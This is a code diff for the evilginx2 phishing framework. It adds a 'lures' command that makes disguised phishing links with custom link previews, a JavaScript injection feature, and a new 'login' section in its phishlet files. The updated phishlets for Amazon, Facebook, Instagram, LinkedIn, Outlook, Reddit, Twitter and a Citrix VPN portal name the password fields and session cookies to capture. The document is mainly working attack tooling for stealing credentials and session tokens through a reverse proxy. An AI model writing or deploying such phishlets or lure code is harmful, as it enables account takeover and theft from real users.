+ LoginItem *ConfigLogin `mapstructure:"login"` + JsInject *[]ConfigJsInject `mapstructure:"js_inject"` } func NewPhishlet(site string, path string, cfg *Config) (*Phishlet, error) { @@ -209,6 +239,12 @@ func (p *Phishlet) LoadFromFile(site string, path string) error { "- change `min_ver` to at least `2.2.0`\n" + "you can find the phishlet 2.2.0 file format documentation here: https://github.com/kgretzky/evilginx2/wiki/Phishlet-File-Format-(2.2.0)") } + if !p.isVersionHigherEqual(&p.Version, "2.3.0") { + return fmt.Errorf("this phishlet is incompatible with current version of evilginx.\nplease do the following modifications to update it:\n\n" + + "- replace `landing_path` with `login` section\n" + + "- change `min_ver` to at least `2.3.0`\n" + + "you can find the phishlet 2.3.0 file format documentation here: https://github.com/kgretzky/evilginx2/wiki/Phishlet-File-Format-(2.3.0)") + } fp := ConfigPhishlet{} err = c.Unmarshal(&fp) @@ -234,8 +270,8 @@ func (p *Phishlet) LoadFromFile(site string, path string) error { if fp.Credentials.Password == nil { return fmt.Errorf("credentials: missing `password` section") } - if fp.LandingPath == nil { - return fmt.Errorf("missing `landing_path` section") + if fp.LoginItem == nil { + return fmt.Errorf("missing `login` section") } for _, ph := range *fp.ProxyHosts { @@ -248,8 +284,36 @@ func (p *Phishlet) LoadFromFile(site string, path string) error { if ph.Domain == nil { return fmt.Errorf("proxy_hosts: missing `domain` field") } - p.addProxyHost(*ph.PhishSub, *ph.OrigSub, *ph.Domain, ph.Session, ph.IsLanding) + auto_filter := true + if ph.AutoFilter != nil { + auto_filter = *ph.AutoFilter + } + p.addProxyHost(*ph.PhishSub, *ph.OrigSub, *ph.Domain, ph.Session, ph.IsLanding, auto_filter) } + if len(p.proxyHosts) == 0 { + return fmt.Errorf("proxy_hosts: list cannot be empty") + } + session_set := false + for _, ph := range p.proxyHosts { + if ph.handle_session { + session_set = true + break + } + } + if !session_set { + p.proxyHosts[0].handle_session = true + } + landing_set := false + for _, ph := range p.proxyHosts { + if ph.is_landing { + landing_set = true + break + } + } + if !landing_set { + p.proxyHosts[0].is_landing = true + } + for _, sf := range *fp.SubFilters { if sf.Hostname == nil { return fmt.Errorf("sub_filters: missing `triggers_on` field") @@ -271,6 +335,23 @@ func (p *Phishlet) LoadFromFile(site string, path string) error { } p.addSubFilter(*sf.Hostname, *sf.Sub, *sf.Domain, *sf.Mimes, *sf.Search, *sf.Replace, sf.RedirectOnly) } + if fp.JsInject != nil { + for _, js := range *fp.JsInject { + if js.TriggerDomains == nil { + return fmt.Errorf("js_inject: missing `trigger_domains` field") + } + if js.TriggerPaths == nil { + return fmt.Errorf("js_inject: missing `trigger_paths` field") + } + if js.Script == nil { + return fmt.Errorf("js_inject: missing `script` field") + } + err := p.addJsInject(*js.TriggerDomains, *js.TriggerPaths, js.TriggerParams, *js.Script) + if err != nil { + return err + } + } + } for _, at := range *fp.AuthTokens { err := p.addAuthTokens(at.Domain, at.Keys) if err != nil { @@ -329,6 +410,40 @@ func (p *Phishlet) LoadFromFile(site string, path string) error { p.username.key_s = *fp.Credentials.Username.Key p.password.key_s = *fp.Credentials.Password.Key + if fp.LoginItem.Domain == nil { + return fmt.Errorf("login: missing `domain` field") + } + if fp.LoginItem.Path == nil { + return fmt.Errorf("login: missing `path` field") + } + p.login.domain = *fp.LoginItem.Domain + if p.login.domain == "" { + return fmt.Errorf("login: `domain` field cannot be empty") + } + login_domain_ok := false + for _, h := range p.proxyHosts { + var check_host string + if h.orig_subdomain != "" { + check_host = h.orig_subdomain + "." + } + check_host += h.domain + if check_host == p.login.domain { + login_domain_ok = true + break + } + } + if !login_domain_ok { + return fmt.Errorf("login: `domain` must contain a value of one of the hostnames (`orig_subdomain` + `domain`) defined in `proxy_hosts` section") + } + + p.login.path = *fp.LoginItem.Path + if p.login.path == "" { + p.login.path = "/" + } + if p.login.path[0] != '/' { + p.login.path = "/" + p.login.path + } + if fp.Credentials.Custom != nil { for _, cp := range *fp.Credentials.Custom { var err error @@ -415,8 +530,9 @@ func (p *Phishlet) LoadFromFile(site string, path string) error { } } - p.landing_path = *fp.LandingPath - + if fp.LandingPath != nil { + p.landing_path = *fp.LandingPath + } return nil } @@ -431,7 +547,7 @@ func (p *Phishlet) GetPhishHosts() []string { return ret } -func (p *Phishlet) GetLandingUrls(redirect_url string) ([]string, error) { +func (p *Phishlet) GetLandingUrls(redirect_url string, inc_token bool) ([]string, error) { var ret []string host := p.cfg.GetBaseDomain() for _, h := range p.proxyHosts { @@ -452,25 +568,95 @@ func (p *Phishlet) GetLandingUrls(redirect_url string) ([]string, error) { } for _, u := range p.landing_path { - sep := "?" - for n := len(u) - 1; n >= 0; n-- { - switch u[n] { - case '/': - break - case '?': - sep = "&" - break + purl := "https://" + host + u + if inc_token { + sep := "?" + for n := len(u) - 1; n >= 0; n-- { + switch u[n] { + case '/': + break + case '?': + sep = "&" + break + } + } + purl += sep + p.cfg.verificationParam + "=" + p.cfg.verificationToken + if b64_param != "" { + purl += "&" + p.cfg.redirectParam + "=" + url.QueryEscape(b64_param) } - } - purl := "https://" + host + u + sep + p.cfg.verificationParam + "=" + p.cfg.verificationToken - if b64_param != "" { - purl += "&" + p.cfg.redirectParam + "=" + url.QueryEscape(b64_param) } ret = append(ret, purl) } return ret, nil } +func (p *Phishlet) GetLureUrl(path string) (string, error) { + var ret string + host := p.cfg.GetBaseDomain() + for _, h := range p.proxyHosts { + if h.is_landing { + phishDomain, ok := p.cfg.GetSiteDomain(p.Site) + if ok { + host = combineHost(h.phish_subdomain, phishDomain) + } + } + } + ret = "https://" + host + path + return ret, nil +} + +func (p *Phishlet) GetLoginUrl() string { + return "https://" + p.login.domain + p.login.path +} + +func (p *Phishlet) GetScriptInject(hostname string, path string, params *map[string]string) (string, error) { + for _, js := range p.js_inject { + host_matched := false + for _, h := range js.trigger_domains { + if h == strings.ToLower(hostname) { + host_matched = true + break + } + } + if host_matched { + path_matched := false + for _, p_re := range js.trigger_paths { + if p_re.MatchString(path) { + path_matched = true + break + } + } + if path_matched { + params_matched := false + if params != nil { + pcnt := 0 + for k, _ := range *params { + if stringExists(k, js.trigger_params) { + pcnt += 1 + } + } + if pcnt == len(js.trigger_params) { + params_matched = true + } + } else { + params_matched = true + } + + if params_matched { + script := js.script + if params != nil { + for k, v := range *params { + script = strings.Replace(script, "{"+k+"}", v, -1) + } + } + return script, nil + } + } + } + } + return "", fmt.Errorf("script not found") +} + func (p *Phishlet) GenerateTokenSet(tokens map[string]string) map[string]map[string]string { ret := make(map[string]map[string]string) td := make(map[string]string) @@ -489,7 +675,7 @@ func (p *Phishlet) GenerateTokenSet(tokens map[string]string) map[string]map[str return ret } -func (p *Phishlet) addProxyHost(phish_subdomain string, orig_subdomain string, domain string, handle_session bool, is_landing bool) { +func (p *Phishlet) addProxyHost(phish_subdomain string, orig_subdomain string, domain string, handle_session bool, is_landing bool, auto_filter bool) { phish_subdomain = strings.ToLower(phish_subdomain) orig_subdomain = strings.ToLower(orig_subdomain) domain = strings.ToLower(domain) @@ -497,7 +683,7 @@ func (p *Phishlet) addProxyHost(phish_subdomain string, orig_subdomain string, d p.domains = append(p.domains, domain) } - p.proxyHosts = append(p.proxyHosts, ProxyHost{phish_subdomain: phish_subdomain, orig_subdomain: orig_subdomain, domain: domain, handle_session: handle_session, is_landing: is_landing}) + p.proxyHosts = append(p.proxyHosts, ProxyHost{phish_subdomain: phish_subdomain, orig_subdomain: orig_subdomain, domain: domain, handle_session: handle_session, is_landing: is_landing, auto_filter: auto_filter}) } func (p *Phishlet) addSubFilter(hostname string, subdomain string, domain string, mime []string, regexp string, replace string, redirect_only bool) { @@ -540,6 +726,28 @@ func (p *Phishlet) addAuthTokens(hostname string, tokens []string) error { return nil } +func (p *Phishlet) addJsInject(trigger_domains []string, trigger_paths []string, trigger_params []string, script string) error { + js := JsInject{} + for _, d := range trigger_domains { + js.trigger_domains = append(js.trigger_domains, strings.ToLower(d)) + } + for _, d := range trigger_paths { + re, err := regexp.Compile(d) + if err == nil { + js.trigger_paths = append(js.trigger_paths, re) + } else { + return fmt.Errorf("js_inject: %v", err) + } + } + for _, d := range trigger_params { + js.trigger_params = append(js.trigger_params, strings.ToLower(d)) + } + js.script = script + + p.js_inject = append(p.js_inject, js) + return nil +} + func (p *Phishlet) domainExists(domain string) bool { for _, d := range p.domains { if domain == d { diff --git a/core/session.go b/core/session.go index db3d36aee..9252dfb3e 100644 --- a/core/session.go +++ b/core/session.go @@ -5,27 +5,31 @@ import ( ) type Session struct { - Id string - Name string - Username string - Password string - Custom map[string]string - Tokens map[string]map[string]*database.Token - RedirectURL string - IsDone bool - IsAuthUrl bool + Id string + Name string + Username string + Password string + Custom map[string]string + Tokens map[string]map[string]*database.Token + RedirectURL string + IsDone bool + IsAuthUrl bool + RedirectCount int + PhishLure *Lure } func NewSession(name string) (*Session, error) { s := &Session{ - Id: GenRandomToken(), - Name: name, - Username: "", - Password: "", - Custom: make(map[string]string), - RedirectURL: "", - IsDone: false, - IsAuthUrl: false, + Id: GenRandomToken(), + Name: name, + Username: "", + Password: "", + Custom: make(map[string]string), + RedirectURL: "", + IsDone: false, + IsAuthUrl: false, + RedirectCount: 0, + PhishLure: nil, } s.Tokens = make(map[string]map[string]*database.Token) diff --git a/core/shared.go b/core/shared.go index 6d51d9ef1..e5eb490a0 100644 --- a/core/shared.go +++ b/core/shared.go @@ -16,6 +16,15 @@ func stringExists(s string, sa []string) bool { return false } +func intExists(i int, ia []int) bool { + for _, k := range ia { + if i == k { + return true + } + } + return false +} + func removeString(s string, sa []string) []string { for i, k := range sa { if s == k { diff --git a/core/terminal.go b/core/terminal.go index 1256e199d..8e711a577 100644 --- a/core/terminal.go +++ b/core/terminal.go @@ -131,6 +131,12 @@ func (t *Terminal) DoWork() { if err != nil { log.Error("phishlets: %v", err) } + case "lures": + cmd_ok = true + err := t.handleLures(args[1:]) + if err != nil { + log.Error("lures: %v", err) + } case "help": cmd_ok = true if len(args) == 2 { @@ -429,7 +435,7 @@ func (t *Terminal) handlePhishlets(args []string) error { if !ok || len(bhost) == 0 { return fmt.Errorf("no hostname set for phishlet '%s'", pl.Name) } - urls, err := pl.GetLandingUrls(args[2]) + urls, err := pl.GetLandingUrls(args[2], true) if err != nil { return err } @@ -443,6 +449,7 @@ func (t *Terminal) handlePhishlets(args []string) error { out += hblue.Sprint(u) n += 1 } + log.Warning("`get-url` is deprecated - please use `lures` with custom `path` instead") t.output("%s\n", out) return nil } @@ -450,6 +457,268 @@ func (t *Terminal) handlePhishlets(args []string) error { return fmt.Errorf("invalid syntax: %s", args) } +func (t *Terminal) handleLures(args []string) error { + hiblue := color.New(color.FgHiBlue) + yellow := color.New(color.FgYellow) + //hiwhite := color.New(color.FgHiWhite) + hcyan := color.New(color.FgHiCyan) + cyan := color.New(color.FgCyan) + dgray := color.New(color.FgHiBlack) + + pn := len(args) + + if pn == 0 { + // list lures + t.output("%s", t.sprintLures()) + return nil + } + if pn > 0 { + switch args[0] { + case "create": + if pn == 2 { + _, err := t.cfg.GetPhishlet(args[1]) + if err != nil { + return err + } + l := &Lure{ + Path: "/" + GenRandomString(8), + Phishlet: args[1], + Params: make(map[string]string), + } + t.cfg.AddLure(args[1], l) + log.Info("created lure with ID: %d", len(t.cfg.lures)-1) + return nil + } + return fmt.Errorf("incorrect number of arguments") + case "get-url": + if pn == 2 { + l_id, err := strconv.Atoi(strings.TrimSpace(args[1])) + if err != nil { + return fmt.Errorf("get-url: %v", err) + } + l, err := t.cfg.GetLure(l_id) + if err != nil { + return fmt.Errorf("get-url: %v", err) + } + pl, err := t.cfg.GetPhishlet(l.Phishlet) + if err != nil { + return fmt.Errorf("get-url: %v", err) + } + bhost, ok := t.cfg.GetSiteDomain(pl.Site) + if !ok || len(bhost) == 0 { + return fmt.Errorf("no hostname set for phishlet '%s'", pl.Name) + } + purl, err := pl.GetLureUrl(l.Path) + if err != nil { + return err + } + out := hiblue.Sprint(purl) + t.output("%s\n", out) + return nil + } + return fmt.Errorf("incorrect number of arguments") + case "edit": + if pn == 4 { + l_id, err := strconv.Atoi(strings.TrimSpace(args[2])) + if err != nil { + return fmt.Errorf("edit: %v", err) + } + l, err := t.cfg.GetLure(l_id) + if err != nil { + return fmt.Errorf("edit: %v", err) + } + val := args[3] + do_update := false + + switch args[1] { + case "path": + if val != "" { + u, err := url.Parse(val) + if err != nil { + return fmt.Errorf("edit: %v", err) + } + l.Path = u.EscapedPath() + if len(l.Path) == 0 || l.Path[0] != '/' { + l.Path = "/" + l.Path + } + } else { + l.Path = "/" + } + do_update = true + log.Info("path = '%s'", l.Path) + case "redirect_url": + if val != "" { + u, err := url.Parse(val) + if err != nil { + return fmt.Errorf("edit: %v", err) + } + if !u.IsAbs() { + return fmt.Errorf("edit: redirect url must be absolute") + } + l.RedirectUrl = u.String() + } else { + l.RedirectUrl = "" + } + do_update = true + log.Info("redirect_url = '%s'", l.RedirectUrl) + case "phishlet": + _, err := t.cfg.GetPhishlet(val) + if err != nil { + return fmt.Errorf("edit: %v", err) + } + l.Phishlet = val + do_update = true + log.Info("phishlet = '%s'", l.Phishlet) + case "info": + l.Info = val + do_update = true + log.Info("info = '%s'", l.Info) + case "og_title": + l.OgTitle = val + do_update = true + log.Info("og_title = '%s'", l.OgTitle) + case "og_desc": + l.OgDescription = val + do_update = true + log.Info("og_desc = '%s'", l.OgDescription) + case "og_image": + if val != "" { + u, err := url.Parse(val) + if err != nil { + return fmt.Errorf("edit: %v", err) + } + if !u.IsAbs() { + return fmt.Errorf("edit: image url must be absolute") + } + l.OgImageUrl = u.String() + } else { + l.OgImageUrl = "" + } + do_update = true + log.Info("og_image = '%s'", l.OgImageUrl) + case "og_url": + if val != "" { + u, err := url.Parse(val) + if err != nil { + return fmt.Errorf("edit: %v", err) + } + if !u.IsAbs() { + return fmt.Errorf("edit: site url must be absolute") + } + l.OgUrl = u.String() + } else { + l.OgUrl = "" + } + do_update = true + log.Info("og_url = '%s'", l.OgUrl) + case "params": + sp := strings.Index(val, "=") + if sp == -1 { + return fmt.Errorf("edit: to set a custom parameter, use format 'key=value' or 'key=' if you want to remove a custom parameter") + } + k := val[:sp] + v := val[sp+1:] + if v != "" { + l.Params[k] = v + log.Info("params: '%s' = '%s'", k, v) + } else { + delete(l.Params, k) + log.Info("params: deleted '%s'", k) + } + do_update = true + } + if do_update { + err := t.cfg.SetLure(l_id, l) + if err != nil { + return fmt.Errorf("edit: %v", err) + } + return nil + } + } else { + return fmt.Errorf("incorrect number of arguments") + } + case "delete": + if pn == 2 { + if len(t.cfg.lures) == 0 { + break + } + if args[1] == "all" { + di := []int{} + for n, _ := range t.cfg.lures { + di = append(di, n) + } + if len(di) > 0 { + rdi := t.cfg.DeleteLures(di) + for _, id := range rdi { + log.Info("deleted lure with ID: %d", id) + } + } + return nil + } else { + rc := strings.Split(args[1], ",") + di := []int{} + for _, pc := range rc { + pc = strings.TrimSpace(pc) + rd := strings.Split(pc, "-") + if len(rd) == 2 { + b_id, err := strconv.Atoi(strings.TrimSpace(rd[0])) + if err != nil { + return fmt.Errorf("delete: %v", err) + } + e_id, err := strconv.Atoi(strings.TrimSpace(rd[1])) + if err != nil { + return fmt.Errorf("delete: %v", err) + } + for i := b_id; i <= e_id; i++ { + di = append(di, i) + } + } else if len(rd) == 1 { + b_id, err := strconv.Atoi(strings.TrimSpace(rd[0])) + if err != nil { + return fmt.Errorf("delete: %v", err) + } + di = append(di, b_id) + } + } + if len(di) > 0 { + rdi := t.cfg.DeleteLures(di) + for _, id := range rdi { + log.Info("deleted lure with ID: %d", id) + } + } + return nil + } + } + return fmt.Errorf("incorrect number of arguments") + default: + id, err := strconv.Atoi(args[0]) + if err != nil { + return err + } + l, err := t.cfg.GetLure(id) + if err != nil { + return err + } + + keys := []string{"phishlet", "path", "redirect_url", "info", "og_title", "og_desc", "og_image", "og_url"} + vals := []string{hiblue.Sprint(l.Phishlet), hcyan.Sprint(l.Path), yellow.Sprint(l.RedirectUrl), l.Info, dgray.Sprint(l.OgTitle), dgray.Sprint(l.OgDescription), dgray.Sprint(l.OgImageUrl), dgray.Sprint(l.OgUrl)} + log.Printf("\n%s\n", AsRows(keys, vals)) + + if len(l.Params) > 0 { + var ckeys []string = []string{"key", "value"} + var cvals [][]string + for k, v := range l.Params { + cvals = append(cvals, []string{dgray.Sprint(k), cyan.Sprint(v)}) + } + log.Printf("custom parameters:\n%s\n", AsTable(ckeys, cvals)) + } + return nil + } + } + + return fmt.Errorf("invalid syntax: %s", args) +} + func (t *Terminal) createHelp() { h, _ := NewHelp() h.AddCommand("config", "general", "manage general configuration", "Shows values of all configuration variables and allows to change them.", LAYER_TOP, @@ -482,6 +751,25 @@ func (t *Terminal) createHelp() { h.AddSubCommand("sessions", []string{"delete"}, "delete ", "delete logged session with (ranges with separators are allowed e.g. 1-7,10-12,15-25)") h.AddSubCommand("sessions", []string{"delete", "all"}, "delete all", "delete all logged sessions") + h.AddCommand("lures", "general", "manage lures for generation of phishing urls", "Shows all create lures and allows to edit or delete them.", LAYER_TOP, + readline.PcItem("lures", readline.PcItem("create", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("get-url"), + readline.PcItem("edit", readline.PcItem("path"), readline.PcItem("redirect_url"), readline.PcItem("phishlet"), readline.PcItem("info"), readline.PcItem("og_title"), readline.PcItem("og_desc"), readline.PcItem("og_image"), readline.PcItem("og_url"), readline.PcItem("params")), + readline.PcItem("delete", readline.PcItem("all")))) + h.AddSubCommand("lures", nil, "", "show all create lures") + h.AddSubCommand("lures", nil, "", "show details of a lure with a given ") + h.AddSubCommand("lures", []string{"create"}, "create ", "creates new lure for given ") + h.AddSubCommand("lures", []string{"delete"}, "delete ", "deletes lure with given ") + h.AddSubCommand("lures", []string{"delete", "all"}, "delete all", "deletes all created lures") + h.AddSubCommand("lures", []string{"edit", "path"}, "edit path ", "sets custom url for a lure with a given ") + h.AddSubCommand("lures", []string{"edit", "redirect_url"}, "edit redirect_url ", "sets redirect url that user will be navigated to on successful authorization, for a lure with a given ") + h.AddSubCommand("lures", []string{"edit", "phishlet"}, "edit phishlet ", "change the phishlet, the lure with a given applies to") + h.AddSubCommand("lures", []string{"edit", "info"}, "edit info ", "set personal information to describe a lure with a given (display only)") + h.AddSubCommand("lures", []string{"edit", "og_title"}, "edit og_title ", "sets opengraph title that will be shown in link preview, for a lure with a given <id>") + h.AddSubCommand("lures", []string{"edit", "og_desc"}, "edit og_desc <id> <title>", "sets opengraph description that will be shown in link preview, for a lure with a given <id>") + h.AddSubCommand("lures", []string{"edit", "og_image"}, "edit og_image <id> <title>", "sets opengraph image url that will be shown in link preview, for a lure with a given <id>") + h.AddSubCommand("lures", []string{"edit", "og_url"}, "edit og_url <id> <title>", "sets opengraph url that will be shown in link preview, for a lure with a given <id>") + h.AddSubCommand("lures", []string{"edit", "params"}, "edit params <id> <key=value>", "adds, edits or removes custom parameters (used in javascript injections), for a lure with a given <id>") + h.AddCommand("clear", "general", "clears the screen", "Clears the screen.", LAYER_TOP, readline.PcItem("clear")) @@ -590,6 +878,47 @@ func (t *Terminal) sprintPhishletStatus(site string) string { return AsTable(cols, rows) } +func (t *Terminal) sprintLures() string { + higreen := color.New(color.FgHiGreen) + //hired := color.New(color.FgHiRed) + hiblue := color.New(color.FgHiBlue) + yellow := color.New(color.FgYellow) + hiwhite := color.New(color.FgHiWhite) + hcyan := color.New(color.FgHiCyan) + //n := 0 + cols := []string{"id", "phishlet", "path", "redirect_url", "og", "params", "info"} + var rows [][]string + for n, l := range t.cfg.lures { + var og string + if l.OgTitle != "" { + og += higreen.Sprint("x") + } else { + og += "-" + } + if l.OgDescription != "" { + og += higreen.Sprint("x") + } else { + og += "-" + } + if l.OgImageUrl != "" { + og += higreen.Sprint("x") + } else { + og += "-" + } + if l.OgUrl != "" { + og += higreen.Sprint("x") + } else { + og += "-" + } + params := "0" + if len(l.Params) > 0 { + params = hiwhite.Sprint(strconv.Itoa(len(l.Params))) + } + rows = append(rows, []string{strconv.Itoa(n), hiblue.Sprint(l.Phishlet), hcyan.Sprint(l.Path), yellow.Sprint(l.RedirectUrl), og, params, l.Info}) + } + return AsTable(cols, rows) +} + func (t *Terminal) phishletPrefixCompleter(args string) []string { return t.cfg.GetPhishletNames() } diff --git a/phishlets/amazon.yaml b/phishlets/amazon.yaml index 91ba9d109..c41dd8ac5 100644 --- a/phishlets/amazon.yaml +++ b/phishlets/amazon.yaml @@ -1,5 +1,5 @@ author: '@customsync' -min_ver: '2.2.0' +min_ver: '2.3.0' proxy_hosts: - {phish_sub: 'www', orig_sub: 'www', domain: 'amazon.com', session: true, is_landing: true} - {phish_sub: 'fls-na', orig_sub: 'fls-na', domain: 'amazon.com', session: false, is_landing: false} @@ -23,5 +23,6 @@ credentials: key: 'password' search: '(.*)' type: 'post' -landing_path: - - '/ap/signin?_encoding=UTF8&ignoreAuthState=1&openid.assoc_handle=usflex&openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.mode=checkid_setup&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0' +login: + domain: 'www.amazon.com' + path: '/ap/signin?_encoding=UTF8&ignoreAuthState=1&openid.assoc_handle=usflex&openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.mode=checkid_setup&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0' diff --git a/phishlets/citrix.yaml b/phishlets/citrix.yaml index 362466ca7..c730f7915 100644 --- a/phishlets/citrix.yaml +++ b/phishlets/citrix.yaml @@ -1,6 +1,6 @@ name: 'Citrix Portal' author: '@424f424f' -min_ver: '2.2.0' +min_ver: '2.3.0' proxy_hosts: - {phish_sub: 'subdomainhere', orig_sub: 'subdomainhere', domain: 'domainhere', session: true, is_landing: true} sub_filters: @@ -17,5 +17,6 @@ credentials: key: 'passwd' search: '(.*)' type: 'post' -landing_path: - - '/vpn/index.html' +login: + domain: 'subdomainhere.domainhere' + path: '/vpn/index.html' diff --git a/phishlets/facebook.yaml b/phishlets/facebook.yaml index cc2deeb19..baed480e5 100644 --- a/phishlets/facebook.yaml +++ b/phishlets/facebook.yaml @@ -1,5 +1,5 @@ author: '@mrgretzky' -min_ver: '2.2.0' +min_ver: '2.3.0' proxy_hosts: - {phish_sub: 'www', orig_sub: 'www', domain: 'facebook.com', session: true, is_landing: true} - {phish_sub: 'm', orig_sub: 'm', domain: 'facebook.com', session: true, is_landing: false} @@ -25,5 +25,6 @@ credentials: key: 'pass' search: '(.*)' type: 'post' -landing_path: - - '/login.php' +login: + domain: 'www.facebook.com' + path: '/login.php' diff --git a/phishlets/instagram.yaml b/phishlets/instagram.yaml index adf5c5f89..689f4566c 100644 --- a/phishlets/instagram.yaml +++ b/phishlets/instagram.yaml @@ -1,5 +1,5 @@ author: '@prrrrinncee' -min_ver: '2.2.0' +min_ver: '2.3.0' proxy_hosts: - {phish_sub: 'www', orig_sub: 'www', domain: 'instagram.com', session: true, is_landing: true} - {phish_sub: 'm', orig_sub: 'm', domain: 'instagram.com', session: true, is_landing: false} @@ -19,5 +19,6 @@ credentials: key: 'pass' search: '(.*)' type: 'post' -landing_path: - - '/accounts/login' +login: + domain: 'www.instagram.com' + path: '/accounts/login' diff --git a/phishlets/linkedin.yaml b/phishlets/linkedin.yaml index 85526f713..ce7ac7eb0 100644 --- a/phishlets/linkedin.yaml +++ b/phishlets/linkedin.yaml @@ -1,11 +1,8 @@ author: '@mrgretzky' -min_ver: '2.2.0' +min_ver: '2.3.0' proxy_hosts: - {phish_sub: 'www', orig_sub: 'www', domain: 'linkedin.com', session: true, is_landing: true} -sub_filters: - - {triggers_on: 'www.linkedin.com', orig_sub: 'www', domain: 'linkedin.com', search: 'action="https://{hostname}', replace: 'action="https://{hostname}', mimes: ['text/html', 'application/json']} - - {triggers_on: 'www.linkedin.com', orig_sub: 'www', domain: 'linkedin.com', search: 'href="https://{hostname}', replace: 'href="https://{hostname}', mimes: ['text/html', 'application/json']} - - {triggers_on: 'www.linkedin.com', orig_sub: 'www', domain: 'linkedin.com', search: '//{hostname}/nhome/', replace: '//{hostname}/nhome/', mimes: ['text/html', 'application/json']} +sub_filters: [] auth_tokens: - domain: '.www.linkedin.com' keys: ['li_at'] @@ -18,5 +15,22 @@ credentials: key: 'session_password' search: '(.*)' type: 'post' -landing_path: - - '/uas/login' +login: + domain: 'www.linkedin.com' + path: '/uas/login' +js_inject: + - trigger_domains: ["www.linkedin.com"] + trigger_paths: ["/uas/login"] + trigger_params: ["email"] + script: | + function lp(){ + var email = document.querySelector("#username"); + var password = document.querySelector("#password"); + if (email != null && password != null) { + email.value = "{email}"; + password.focus(); + return; + } + setTimeout(function(){lp();}, 100); + } + setTimeout(function(){lp();}, 100); diff --git a/phishlets/outlook.yaml b/phishlets/outlook.yaml index 0e092adce..2bacb3c38 100644 --- a/phishlets/outlook.yaml +++ b/phishlets/outlook.yaml @@ -1,5 +1,5 @@ author: '@mrgretzky' -min_ver: '2.2.0' +min_ver: '2.3.0' proxy_hosts: - {phish_sub: 'outlook', orig_sub: 'outlook', domain: 'live.com', session: true, is_landing: true} - {phish_sub: 'login', orig_sub: 'login', domain: 'live.com', session: true, is_landing: false} @@ -26,5 +26,6 @@ credentials: key: 'passwd' search: '(.*)' type: 'post' -landing_path: - - '/owa/?nlp=1' +login: + domain: 'outlook.live.com' + path: '/owa/?nlp=1' diff --git a/phishlets/reddit.yaml b/phishlets/reddit.yaml index ff3196665..af687557a 100644 --- a/phishlets/reddit.yaml +++ b/phishlets/reddit.yaml @@ -1,5 +1,5 @@ author: '@customsync' -min_ver: '2.2.0' +min_ver: '2.3.0' proxy_hosts: - {phish_sub: 'www', orig_sub: 'www', domain: 'reddit.com', session: true, is_landing: true} - {phish_sub: 'win', orig_sub: 'www', domain: 'redditstatic.com', session: false, is_landing: false} @@ -24,5 +24,6 @@ credentials: key: 'password' search: '(.*)' type: 'post' -landing_path: - - '/login' +login: + domain: 'www.reddit.com' + path: '/login' diff --git a/phishlets/twitter-mobile.yaml b/phishlets/twitter-mobile.yaml index e7e16b31a..7382a5b79 100644 --- a/phishlets/twitter-mobile.yaml +++ b/phishlets/twitter-mobile.yaml @@ -1,5 +1,5 @@ author: '@white_fi' -min_ver: '2.2.0' +min_ver: '2.3.0' proxy_hosts: - {phish_sub: 'mobile', orig_sub: 'mobile', domain: 'twitter.com', session: true, is_landing: true} - {phish_sub: 'abs', orig_sub: 'abs', domain: 'twimg.com', session: true, is_landing: false} @@ -20,5 +20,6 @@ credentials: key: 'session\[password\]' search: '(.*)' type: 'post' -landing_path: - - '/login' +login: + domain: 'mobile.twitter.com' + path: '/login' diff --git a/phishlets/twitter.yaml b/phishlets/twitter.yaml index 32c93475f..95d5d99ba 100644 --- a/phishlets/twitter.yaml +++ b/phishlets/twitter.yaml @@ -1,13 +1,10 @@ author: '@white_fi' -min_ver: '2.2.0' +min_ver: '2.3.0' proxy_hosts: - {phish_sub: '', orig_sub: '', domain: 'twitter.com', session: true, is_landing: true} - - {phish_sub: 'abs', orig_sub: 'abs', domain: 'twimg.com', session: false, is_landing: false} - - {phish_sub: 'api', orig_sub: 'api', domain: 'twitter.com', session: false, is_landing: false} -sub_filters: - - {triggers_on: 'twitter.com', orig_sub: '', domain: 'twitter.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json', 'application/javascript']} - - {triggers_on: 'abs.twimg.com', orig_sub: 'abs', domain: 'twimg.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json', 'application/javascript']} - - {triggers_on: 'api.twitter.com', orig_sub: 'api', domain: 'twitter.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json', 'application/javascript']} + - {phish_sub: 'abs', orig_sub: 'abs', domain: 'twimg.com'} + - {phish_sub: 'api', orig_sub: 'api', domain: 'twitter.com'} +sub_filters: [] auth_tokens: - domain: '.twitter.com' keys: ['kdt','_twitter_sess','twid','auth_token'] @@ -20,5 +17,6 @@ credentials: key: 'session\[password\]' search: '(.*)' type: 'post' -landing_path: - - '/login' +login: + domain: 'twitter.com' + path: '/login'